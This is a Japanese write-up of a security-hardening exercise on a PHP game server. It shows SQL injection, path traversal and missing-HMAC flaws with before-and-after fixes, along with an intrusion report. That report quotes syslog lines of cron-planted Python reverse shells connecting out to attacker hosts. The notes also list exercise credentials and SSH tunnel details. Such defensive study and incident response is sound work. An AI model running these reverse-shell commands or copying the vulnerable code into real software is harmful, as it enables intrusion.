セットアップ
- ポートフォワーディング用のバッチファイルを作成しておいた
- Web用
set SSH_ADDR=18.178.21.94
set REMOTE_ADDR=172.31.103.40
set REMOTE_PORT=80
set LOCAL_PORT=8080
set USER_NAME=rocky
set PRIVATE_KEY=../team03.pem
set URL="http://game.team-3.mini.local"
ssh -i %PRIVATE_KEY% -L %LOCAL_PORT%:%REMOTE_ADDR%:%REMOTE_PORT% %USER_NAME%@%SSH_ADDR%
- SSH用
set SSH_ADDR=18.178.21.94
set REMOTE_ADDR=172.31.103.40
set REMOTE_PORT=22
set LOCAL_PORT=8022
set USER_NAME=rocky
set PRIVATE_KEY=../team03.pem
set URL="http://game.team-3.mini.local"
ssh -i %PRIVATE_KEY% -L %LOCAL_PORT%:%REMOTE_ADDR%:%REMOTE_PORT% %USER_NAME%@%SSH_ADDR%
- トンネリングが途中で何回も切れたため、結果的にはバッチ化しておいてよかった
- MySQLとRedis用も作ろうかと思ったが、アクセスしようと思うきっかけがなかった。
情報収集
-
/var/www/html
にトップページがあるのがわかった - Dockerfileはhomeディレクトリの
mini4-game-api-php
ディレクトリにあった -
WinSCP
でpublic
フォルダを丸ごとローカルにコピーした - DB情報
mysql:
host: "db"
port: 3306
dbname: "miniquest"
user: "miniquest"
password: "miniquest"
redis:
host: "redis"
port: 6379
dbname: 0
password: ""
stamina:
recoverytime: 60
battle:
secret: "miniquest"
max_level: 99
PHPの修正
login.php
修正前
$pdo = connect_db();
$sql = "select * from player where user_name = '$user_name' and password = '$password'";
$login_stmt= $pdo->query($sql);
$row = $login_stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
echo json_encode(array(
"result" => "ng",
"msg" => "Invalid your username and password."));
exit();
}
$user_id = $row['id']; // Get User
修正後
$pdo = connect_db();
$sql = "SELECT * FROM player WHERE user_name = :username AND password = :password";
$login_stmt = $pdo->prepare($sql);
$login_stmt->bindParam(':username', $user_name, PDO::PARAM_STR);
$login_stmt->bindParam(':password', $password, PDO::PARAM_STR);
$login_stmt->execute();
$row = $login_stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
echo json_encode(array(
"result" => "ng",
"msg" => "Invalid your username and password."
));
exit();
}
$user_id = $row['id']; // Get User
- セッションIDが推測されやすそうなものであったため、
$user_id
をシードとして利用するようにした
new_user.php
- ブラインドSQLインジェクションの脆弱性がある
修正前
// Duplicate Check
$dup_stmt = $pdo->query("select count(*) from player where user_name = '$user_name';");
$dup_count = $dup_stmt->fetchColumn();
if(0 < $dup_count){
echo json_encode(array(
"result" => "ng",
"msg" => "Username is duplicate."));
exit();
}
修正後
$stmt = $pdo->prepare("SELECT COUNT(*) FROM player WHERE user_name = :user_name");
$stmt->bindParam(':user_name', $user_name, PDO::PARAM_STR);
$stmt->execute();
$dup_count = $stmt->fetchColumn();
if (0 < $dup_count) {
echo json_encode(array(
"result" => "ng",
"msg" => "Username is duplicate."
));
exit();
}
upload.php
- パストラバーサルとRCEの脆弱性
修正前
$target_file = "./images/players/" . $request_json->file_name;
修正後
$target_dir = "./images/players/";
$file_name = basename($request_json->file_name);
// Sanitize the file name to remove any path traversal characters
$file_name = preg_replace('/[^a-zA-Z0-9_.-]/', '', $file_name);
// Validate the file name (example: checking extension)
$allowed_extensions = ['jpg', 'jpeg' ,'png', 'gif', 'svg'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($extension, $allowed_extensions)) {
echo json_encode(array(
"result" => "ng",
"msg" => "Unsupported file type. You can only use jpg, png, gif and svg."));
exit();
}
// Construct the safe target file path
$target_file = $target_dir . $file_name;
user_list.php
- 誰でもユーザー一覧が参照できるため、adminアカウントを作成して、adminしか見れないようにした。
- admin / adminadminadmin
- 追記したコード
$session_id = $_COOKIE['session_id'];
$redis = connect_redis();
$user_id = check_login($redis, $session_id);
if(!$user_id){
# user was not logged in
echo json_encode(array(
"result" => "ng",
"msg" => "Invalid session ID.",
));
exit();
}
if($user_id!=344){
print("Admin only..");
exit();
}
-
redis
にアクセスするためのlibの関数などは別途include_once
した
delete.php
- 同様にBANされないようにdelete.phpのAPIも
admin
しか消せないようにした。 - 追記したコード
if($user_id != 344){
echo json_encode(array(
"result" => "ng",
"msg" => "Admin only."
));
exit();
}
player.php
-
$_COOKIE['user_data']
はデバッグ目的のようなので、コードを削除する - 修正前
// check login status
// checking "user_data" is for debbuging only!
// checking "session_id" is mandatory!
if (isset($_COOKIE['user_data'])) {
$user_id = $_COOKIE['user_data'];
} elseif (isset($_COOKIE['session_id'])) {
$session_id = $_COOKIE['session_id'];
$user_id = check_login($redis, $session_id);
} else {
- 修正後
if (isset($_COOKIE['session_id'])) {
$session_id = $_COOKIE['session_id'];
$user_id = check_login($redis, $session_id);
} else {
echo json_encode(array(
"result" => "ng",
"msg" => "Session ID is required."));
exit();
}
- パスワードが見えるので、伏字に。
'password' => '***', //$row['password'],
recovery.php
- ユーザから来たゴールドを消費するため、固定に変更
- 修正前
subtractgold($pdo, $user_id, $request_json->{'price'});
- 修正後
subtractgold($pdo, $user_id, 100);
battle.php
- hmacの比較がされていない
- 修正前
function check_hmac($hmac, $hmac_old) {
$ret = 1; # I will implement later...
return $ret;
}
- 修正後
function check_hmac($hmac, $hmac_old) {
if($hmac===$hmac_old){
return 1;
}else{
return 0;
}
}
gacha.php
- 消費ゴールドがなぜかユーザから送れる仕様なので、ハードコーディングしてしまう。
$result_gold = $current_gold - $post_gold;
$result_gold = $current_gold - 100;
インシデント
侵入された
- 内部からなにかやられている。。
- トップページが改ざんされた
- 取り急ぎ、追加された
index.html
を削除したが原因が不明なため、再度攻撃される可能性がある
-
wario
というユーザが作成されているようだ
- プロセスにバックドアのPythonのコードが動作している
- cronで動作していた
- pkillでひとまず消したが十分なフォレンジックをしておらず、午前中に設置されていたWebシェルによるものなのか不明である
-
/var/log/syslog
を確認したら3時間前(12:06頃)からcronジョブが埋め込まれていて、RCEの脆弱性を修正した後に発生しているため、別の脆弱性がある
Dec 23 03:06:01 game CRON[3136]: (root) CMD ( /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:09:01 game CRON[3154]: (root) CMD ( /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:10:01 game CRON[3245]: (root) CMD (test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r)
Dec 23 03:12:01 game CRON[3257]: (root) CMD ( /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:15:01 game CRON[3270]: (root) CMD ( /bin/bash /usr/local/dbbackup/backup.sh)
Dec 23 03:17:01 game CRON[3430]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.92",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Dec 23 03:17:01 game CRON[3429]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
Dec 23 03:17:01 game CRON[3431]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.91",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
Dec 23 03:17:01 game CRON[3434]: (root) CMD (python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.31.200.94",5034));os.dup2(s.fileno(
),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
経験値がやたら高いユーザがいる
- battle.phpの敵情報のhmacチェック機能がなかった。と思ったらありそう。。
if(
! check_hmac($player_info_json->{"hmac"}, $binfo_current_json->{"player"}->{"hmac"}) ||
! check_hmac($enemy_info_json->{"hmac"}, $binfo_current_json->{"enemy"}->{"hmac"})
){
# incorrect hmac
$lock_flag = 0;
set_lock_flag($redis, $redis_lock_name, $lock_flag, $max_lock_time, __LINE__);
$result["msg"] = "The hmac was not correct; line:" . __LINE__;
echo json_encode($result);
exit();
}
ここで時間切れだった。
やったことのまとめ
- 午前中(前半2時間)はシステムの理解(30分)、情報収集(20分)、そして脆弱性を見つけて直す(1時間)という作業をやった
- 午後(後半2時間)からは派手なインシデントが勃発し、インシデントレスポンス、フォレンジックを実施したが、根本原因がわからないことが多く、コードの修正ではなく、対処のみした。
- 結果、かなり消耗した